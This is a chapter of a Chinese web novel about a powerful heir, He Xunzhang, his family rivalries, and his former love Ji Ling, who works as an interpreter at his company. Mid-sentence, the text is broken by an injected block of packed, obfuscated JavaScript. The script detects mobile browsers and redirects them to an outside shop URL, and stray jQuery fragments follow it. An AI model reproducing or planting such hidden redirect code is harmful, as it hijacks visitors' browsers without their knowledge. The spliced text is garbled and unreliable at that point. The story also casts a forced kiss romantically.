贺循章今天上午回了一趟老宅。
他一进门，听见贺家老大贺恒之阴阳怪气的声音：“哟，听说老三最近收购了一家名不见经传的小公司，老三手底下那么多产业，也不知道还能不能忙得过来。”
老四贺恒渊在一旁为贺循章说话：“三少爷有上进心是好事，不像我只能整日无所事事待在家给大家打打下手。”
老大贺恒之是大伯一家人的孩子，也是贺家长子。
老四贺恒渊是贺循章父亲的私生子，当年他父亲在外的孽缘没断干净，死之前把这个孩子带回了贺家。人之将死其言也善，再加上贺家不缺这一口饭，就把贺恒渊留下来养着了。
贺恒渊与贺循章同父异母，但贺恒渊是私生子，没有资格叫贺循章“哥”，他只能和宅子里的佣人一样称呼“三少爷”，要是叫错，巴掌会上脸。
如今贺家除了家中坐镇的老爷子，谁都得看贺循章脸色。
贺家曾经还有一个孩子，叫贺恒生，他三岁夭折，二伯一家子由此心灰意冷，早早脱离贺家搬去南方的城市生活，表示除奔丧外再不会回京市。
贺循章对说话的那二人视若无睹，他翻了翻手腕，漠然地问周秘书：“老爷子不在？”
周秘书只答：“回贺总，没收到老爷出门的消息。”
不在前厅不在卧房……贺循章脑海里闪过一处地方。
他来到贺家祠堂，远远就看见老爷子佝偻的背影。
贺循章走上前。
周秘书自觉在外面守着。
“既然来了，就给你父母上柱香吧。”贺老爷子的嗓音充满岁月沧桑，他这两年身体每况愈下，感觉自己没几年可活。
贺循章燃了三炷香，对着慈母牌位恭恭敬敬鞠躬，至于那个男人的牌位，他不配。
贺老爷子一点也不意外贺循章的举动，他转过身，叹了两口气，“一味的恨又有什么用呢。”
“我不恨他。”恨和厌恶是不同的，有爱才会有恨，而他对那个男人只有无休止的厌恶。
“你是我培养的继承人，贺家以后终究要交到你手上。”贺老爷子拍了拍贺循章的肩膀，他凝视着贺循章坚毅沉稳的面庞，心想从前那个跪在这儿发誓的年轻人，当真成长了许多。
对他们这样的家族来说，爱情是一块非常好用的磨刀石。
贺家家主不一定非要断情绝爱，但他绝对不允许自己选定的继承人为了一个女人断送前程。
贺循章未答。
他径直说明来意，“陈家的事，还希望爷爷不要插手。”
他来的路上捋清楚来龙去脉，近日隐约传出风声说有人要动陈家，陈家为求自保想把自己和贺家绑到同一条船。所以陈家才在外大肆宣传他们与贺家交情匪浅，陈家女将会嫁给贺循章为妻。
然而贺家的知情人有一个心照不宣的秘密，那就是谁都可能被推出去联姻，唯独贺循章不会。贺循章把婚事攥在了自己手中，这是他用半条命才换来的决定权。
贺老爷子蹙眉：“你要动陈家？”
贺循章：“要动陈家的人多了，他们顶多算罪有应得。”
贺老爷子直说：“循章，有时候保持中立同样代表站队。据我所知老大有意娶陈家女进门，你这时候动陈家等同于彻底和老大公开决裂，你可想好了。”
闻言，贺循章笑了声，极尽嘲讽之意，“老大想娶陈家女，那陈家女到处宣扬她是我未婚妻，他怎么不拦着点儿？我的清白还要不要了。”
“他不管，就别怪我心狠手辣。”
贺老爷子手中的拐杖重重击打地面，看样子是被气得不轻，“这么多年都过去了，你还是非她不可？”
男人硬挺的轮廓软下去稍许，想到昨晚团在沙发的纪泠，他轻声道：“是啊，非她不可。”
老爷子眯着眼，“我没同意你娶她，况且以她的性格就算进了贺家也是死路一条，不要忘了你二伯二婶为什么离开京市。”
“二伯是二伯，我是我，我既然决定娶她，就会为她铲除阻碍，铺好这条路。”
“那就等你将来真正坐上这个位置再说吧。陈家的事我可以不插手，但你最好有万全之策，老大一家向来心狠手辣，别忘了，你也是有软肋的人。”
贺老爷子暗暗提醒。
贺循章眸中温柔尽散，取而代之的是渗人的寒意，他缓慢地摩挲左手的戒指，“他们敢。”
老爷子横他一眼：“人在被逼入绝境之时，绞尽脑汁求生是第一本能，狗急跳墙正是如此。”
贺循章离开老宅的时候正好和贺恒之迎面撞上。
贺恒之点了根雪茄，吐出一团烟熏的白雾：“戒指不错，哪里买的？改明儿我也去买一对。”
“无可奉告。”
贺循章迈着长腿越过他，走了。
“大少爷，三少爷好像越来越不将您放在眼里了。”
贺恒之身边跟着的手下抱怨。
“除了老爷子，你见他对谁客气过？”
贺恒之眯起眼睛，“我就是好奇他放着贺氏集团不管，为什么会突然跑去一个小小的科技公司当总裁，你去查查这家公司究竟有什么特别的。”
“是，大少爷。”
回智汇的路上，贺循章靠在后座小憩。他昨晚喝了那么多酒，一整夜都没睡着，一大早又来处理这些破事，这会儿只觉得头疼。
“查清楚谁散播的谣言，再吩咐下去，给我断陈家一条臂膀。”他摁了摁眉心，沉沉地说。
周秘书听命行事：“是，贺总。”
贺循章打开手机，纪泠没回他早上那条“热心提醒”。
她如今对他可谓是“惜字如金”，一句多余的话都不想和他说，再不复往日活泼。
他脑袋更疼了，“开快点。”
-
纪泠下午有个会要开。
“Lynn，我感觉齐总监好像很看好你诶。最近几场重要的会议他都点名要你当译员，你说齐总监是不是有意给你出头的机会？”
Linda用艳羡的目光看着纪泠。
市场部并非只有纪泠一位翻译，然而但凡是齐总监坐镇的国际会议，他都只让纪泠一个人上场。
Linda之前和海外客户谈业务，对方竟直截了当地问公司是不是有一位叫做“Lynn”的翻译，夸她业务能力很强，还说只可惜Lynn不负责成交和跟单，否则他们很乐意合作。
这谁能不羡慕。
Linda抱着文件夹，好奇地问：“你上学的时候英语就这么好吗？能不能给我也传授一点儿经验呀。我的口语只够和他们简单交流，一涉及专业领域就露馅儿了。”
听见这个问题，纪泠一怔。
她清大英语系出身，在KCL读的硕士，毕业后拿着工签在英国待了几年。
纪昭痊愈出院后着手创业，他事业有了起色，纪泠便从英国回来了。当风暴平息，当昨日种种都随着船上一道道刻痕漂洋远去，她自是要回来接着过日子的。
其实她曾经有很长一段时间都很抗拒表达，抗拒接受别人的目光，无论鄙夷或赞美，纪泠都只想逃避。
Linda的问题让纪泠感到恍惚。
她的改变与成长和那个人脱不了关系。
不提也罢。
纪泠温和地笑着：“熟能生巧，我一开始也不好意思说，慢慢地也就习惯了。”
Linda：“看来我下班回家要把口语重新捡回来，争取将来也和你一样厉害！”她看了眼时间，忙说：“呀，会议要开始了，我们赶快进去吧。”
纪泠颔首：“嗯。”
来到会议室，齐修明和纪泠打招呼：“下面可就要靠你发挥。”
“齐总监说笑了，我最多只是起到桥梁的作用。”
离会议正式开始还有几分钟，纪泠把提前准备好的资料拿出来复习。
齐修明见纪泠似乎有些疲惫，他关心地问：“晚上没睡好？”
纪泠诚实地点头，“嗯，是有一点。”
她昨天本来在沙发上睡得好好的，谁知道贺循章怎么想的，竟然主动把她从沙发抱到了床上。
再加上她莫名其妙被他强吻，以至于一闭上眼睛，她脑海里就会浮现出贺循章压着自己的样子，他那强势的气息密密麻麻占据她思绪的每一个角落。
思来想去一晚上，她失眠了，不仅睡不着，还得提防贺循章随时推门进来。早上收到贺循章发来的那条短信，她才敢出房间。
纪泠翻开最新的那一页，“不过还请齐总监放心，我的状态不会影响开会。”
齐修明怔了怔，无可奈何地摇头，“你啊。”
他关注纪泠很久了，这个女孩子身上有一股他非常欣赏的韧劲儿，工作方面勤奋踏实，但凡交到她手上的活儿都能做得很好，是市场部的得力干将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484010|201913||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
可就是怎么说呢……她似乎太懂分寸，对谁都拒人于千里之外。
连他这个总监私下里也没讨到好处，他加上纪泠微信小半年，两个人从未有过任何私人交流。
就像现在。
他明明是关心的口吻，纪泠却误以为他是怕影响会议才那么问。
不知她是真不开窍，还是说这也是她伪装出来的面具。想到这一点，齐修明对纪泠的欣赏之意更甚。
纪泠埋头看资料，没有注意到齐修明的眼神变化。
贺循章回到公司的时候，这场会议已经进行到一半，且正是纪泠作为翻译控场的关键时刻。
周秘书很识趣地摁了市场部所在楼层的电梯。
“贺总好。”
“贺总。”
“贺总，市场部的总监和各部门经理都在会议室开会，请问是否需要通知他们会议暂停？”
“不必。”
贺循章见纪泠工位空着，他往会议室的方向走去，周秘书赶忙跟上。
谁都没想到贺循章会中途参会。
他的出现让现场所有员工都惊了一晌，众人纷纷站起来迎接：“贺总下午好。”
纪泠攥着话筒的指尖泛了白，那不受控制的慌张又涌上来。这段时间她没少和贺循章见面，可是不管再见多少次，她都做不到平静。
真没出息。
她在心里骂自己。
贺循章的视线与她轻擦而过，都没有在她身上过多停留，也没有表现出任何的特别。
宛若在看一个毫不相干的陌生人。
贺循章在会议室最前面的位置坐下来，他长腿交叠，漫不经心地叩了叩桌面，说：“你们继续。”
“是，贺总。”齐修明站在另外一边，把最佳视野给贺循章让出来，他看向纪泠，点了点头：“Lynn，请接着说。”
纪泠拿着话筒，尽管刚开始的几句听得出声线有些抖，但没过多久便重新进入状态。
在场的这些人无一不赞叹纪泠的翻译水平。
亚太区的经理忍不住夸道：“不愧是国外回来的高材生，这英语就是好啊。”
旁边坐着的部门长跟着附和：“确实，我本来还担心出岔子，没想到她能把专业术语解释的那么清楚，难怪齐总监每次都是叫她过来参会。”
这些闲谈落入贺循章耳朵里，“从国外回来的高材生”这几个字怎么听怎么刺耳，他挑了下眉，轻呵一声。
贺循章掀了掀眼皮，静静地望着台上那个闪闪发光的女孩子。
这就是她想要的未来吗？
没有他也能一往直前的未来。
七年前有一个女孩很畏惧表达自我，她有着充足的知识储备，念课文的发音也很标准，然而一旦让她脱稿上台，她只会大脑空空，张口就卡壳，一个完整的句子都说不出来，更别提流畅地翻译文章。
“贺循章，你能不能别用这种办法了……”
他往沙发上那么一坐，似笑非笑地等着她。
她实在是一个字都说不出来，只得红着脸求饶。
他当然是铁面无私地拒绝了：“我今天就坐这儿，你什么时候熟练了我们什么时候下课。”
“……就不能换个别的方式练习吗？”
“不能。”贺循章遗憾地摇头，“纪老师不是说自己将来想当翻译？不开口说怎么当得了翻译，还是说纪老师觉得站着不舒服，想坐我腿上说？”
……
随着纪泠发言结束，这场漫长的会议也将迎来结尾。
令人意想不到的是，贺循章在纪泠翻译完以后，他竟然带头鼓起了掌。
他的目光径直投在她身上，烫得她浑身灼热。那一下又一下的掌声更是像雷鸣的鼓点，每一次敲下都会掀起惊天骇浪。
大老板都鼓掌称赞了，其他人岂能不表态？
会议室内的雷霆掌声令纪泠措手不及，她拿着话筒，佯装镇静地说了声“谢谢”，然后回到她原来的座位。
“贺总……”
齐修明正想请示贺循章的指导意见，他还没来得及过去，贺循章迈着大步走了。
其他人都有些摸不着头脑：这就又走了，大老板到底是来干什么的？
如坐针毡的纪泠反倒松了一口气。
贺循章：「为什么不回我消息？」
贺循章：「这就是你对待老板的态度？」